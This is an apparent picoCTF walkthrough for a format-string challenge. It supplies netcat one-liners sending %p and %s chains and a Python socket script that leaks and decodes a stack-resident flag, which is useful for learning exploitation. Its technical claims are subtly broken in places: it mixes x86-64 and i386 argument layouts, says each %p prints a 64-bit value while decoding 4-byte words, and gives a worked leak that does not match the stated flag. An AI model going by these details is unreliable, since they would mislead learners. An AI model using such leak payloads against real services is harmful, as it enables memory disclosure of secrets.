Description
The binary calls printf(user_input) directly instead of printf("%s", user_input). This format-string vulnerability allows you to read arbitrary data off the stack - including the flag stored as a local variable.
Setup
Connect via netcat. No binary download is required.
Send format-string specifiers to leak stack values and find the flag.
nc saturn.picoctf.net <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Understand the format-string vulnerabilityObservationI noticed the challenge description states printf(user_input) is called directly with no fixed format string, which indicated the classic format-string vulnerability where user-controlled specifiers like %p can read values off the stack.printf(user_input) interprets user input as a format string. %p reads pointer-sized values from the stack; %s dereferences a stack value as a string pointer.Learn more
printfreads additional arguments from the stack (or registers on x86-64) based on format specifiers in its first argument. When user input IS the format string, the attacker controls which values get read.Common specifiers for leaking:
%p- print a pointer-sized value in hex. Safe; won't crash from invalid addresses.%s- dereference the value as a char* and print as a string. Can crash if the value is not a valid pointer.%x- print as unsigned hex (32-bit on 32-bit, sign-extended on 64-bit).%n$p- print the Nth argument (direct parameter access, e.g.,%3$pskips to the 3rd value on the stack).
The flag is stored as a local variable (likely a char array on the stack) in the calling function. It will appear as either a printable string via
%s, or as raw bytes readable via a chain of%pspecifiers.Step 2
Leak the stack with %p chainsObservationI noticed the flag is stored as a local variable in the calling function's stack frame, which suggested sending a chain of %p specifiers to safely read consecutive stack slots in hex without dereferencing any pointers.On x86-64 the first stack-resident format-string argument lives at %6$p (rdi/rsi/rdx/rcx/r8/r9 carry the first six). Walking %1$p through %30$p safely covers the local-variable region without straying past it.bashecho '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>bashecho '%s' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>What didn't work first
Tried: Send '%s' as the first specifier to read the flag as a string directly
The first stack slot at %1$p on i386 is not a pointer to the flag buffer - it is a nearby stack address or saved register. Passing '%s' dereferences that value as a char*, which either segfaults the server or prints garbage from an unrelated memory region. The flag lives further up the stack; use '%p.%p...%p' to locate the slot index safely before switching to '%s'.
Tried: Use '%x' chains instead of '%p' to read stack values
On a 32-bit binary '%x' and '%p' produce similar output, but '%x' on a 64-bit build only prints the lower 32 bits of each 8-byte slot, so the upper four bytes of each stack word are silently discarded. The flag bytes packed into the high half of any 64-bit slot will be invisible. '%p' always prints the full pointer-sized value regardless of architecture.
Learn more
How printf walks arguments on i386 (this binary). All variadic args sit on the stack starting at
[esp+4](the format string itself is at[esp]). Each%pconsumes 4 bytes:vuln() at the printf(user_input) call: [esp+0x00] -> &user_input <- the format string itself [esp+0x04] -> arg1 <- %p / %1$p [esp+0x08] -> arg2 <- %p / %2$p ... [esp+0x40] -> flag[0..3] <- 0x6f636970 ("pico") [esp+0x44] -> flag[4..7] <- 0x7b465443 ("CTF{") [esp+0x48] -> flag[8..11] ...On x86-64, the first 5 variadic args after the format string come from
rsi, rdx, rcx, r8, r9; from arg6 onward they live on the stack starting at[rsp]. So%6$pon x86-64 is the first stack-resident slot.Decoding the leak (concrete worked example). Suppose your
%pdump produces:%17$p = 0x6f636970 bytes 70 69 63 6f -> "pico" %18$p = 0x7b465443 bytes 43 54 46 7b -> "CTF{" %19$p = 0x6b34336c bytes 6c 33 34 6b -> "l34k" %20$p = 0x676e1535 bytes 35 15 6e 67 -> "5\x15ng" (truncated)Each 4-byte hex value reverses to a 4-character ASCII chunk (little-endian). Concatenating in order yields the flag. The
0x7dbyte (}) marks the end. If a chunk is partially garbled, retry with more%ps or use%n$sto dereference the slot as a string pointer.Why
%sis risky.%sdereferences the stack slot as achar*. If the slot is not a valid pointer, printf segfaults. Use%pfirst to identify slots whose values look like reasonable addresses (e.g.,0x080xxxxxin a 32-bit non-PIE binary), then switch to%son those.Step 3
Decode the leaked bytes to reconstruct the flagObservationI noticed the %p dump produced hex values like 0x6f636970, which matched the ASCII bytes for 'pico' in reverse order, confirming that x86 little-endian byte ordering required reversing each 4-byte word to read the flag characters correctly.Each %p prints a 64-bit value. On a little-endian box, the low-address byte appears at the right of the hex; reverse the bytes to read ASCII left to right.pythonpython3 -c " import socket s = socket.socket() s.settimeout(5) s.connect(('saturn.picoctf.net', 0)) # replace 0 with PORT_FROM_INSTANCE banner = s.recv(1024) if not banner: raise RuntimeError('connection closed before banner') payload = '.'.join([f'%{i}$p' for i in range(1, 30)]) + ' ' s.send(payload.encode()) data = s.recv(4096) if not data: raise RuntimeError('no leak received - server closed') s.close() # Parse and decode each 4-byte chunk; try little-endian first, fall back to big-endian. for val in data.decode().split('.'): val = val.strip() if not val.startswith('0x'): continue try: raw = bytes.fromhex(val[2:].zfill(8)) except ValueError: continue le = raw[::-1].decode('latin-1') be = raw.decode('latin-1') pick = le if sum(c.isprintable() and not c.isspace() for c in le) >= sum(c.isprintable() and not c.isspace() for c in be) else be if any(c.isprintable() and not c.isspace() for c in pick): print(repr(pick)) "Expected output
picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}What didn't work first
Tried: Print each leaked hex value directly as ASCII without reversing byte order
Reading '0x6f636970' left-to-right as characters gives 'ocip' instead of 'pico' because x86 is little-endian - the lowest address byte is stored at the right of the hex representation. The bytes in memory order are 70 69 63 6f, so the correct decode is raw[::-1], not raw. Skipping the reversal produces a flag that looks almost right but fails submission.
Tried: Extend the range to '%1$p' through '%100$p' to be thorough
Walking far past the flag buffer reads into uninitialised stack frames and saved return addresses, which print as 0x00000000 or random kernel/libc addresses. These null and non-ASCII values break the printable-character heuristic in the decode script and can print garbled output that obscures the actual flag region. The flag fits within the first 30 slots on this binary; staying within range(1, 30) avoids the noise.
Learn more
A 32-bit value such as
0x6f636970on a little-endian box stores its lowest byte first in memory. The bytes in address order are70 69 63 6f. Reversing gives the ASCIIpicodirectly, soraw[::-1].decode()in the script reconstructs the flag characters in source order. A big-endian fallback covers the rare case where the binary or libc has been compiled for a non-x86 host.The script targets exactly
range(1, 30): On this i386 binary, the format string at[esp+0]has no positional index; the va_list begins at[esp+4], so%1$preads the first variadic slot and%29$preads the twenty-ninth. Twenty-nine stack slots is plenty to cover the localflagbuffer in this binary; pushing past 30 risks reading past the saved frame and into uninitialised memory whose decoded bytes only add noise.Format-string bugs can also write to memory via
%n(the number of bytes printed so far is stored at the pointer slot). For read-only leak challenges like this one,%pchains plus selective%son slots that look like valid pointers is the entire toolkit. For the broader pattern set see Format string vulnerabilities for CTF and the script-driven workflow in pwntools for CTF.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}
Send a chain of %p specifiers to dump stack values. Decode the hex output as little-endian ASCII to find the flag stored on the stack.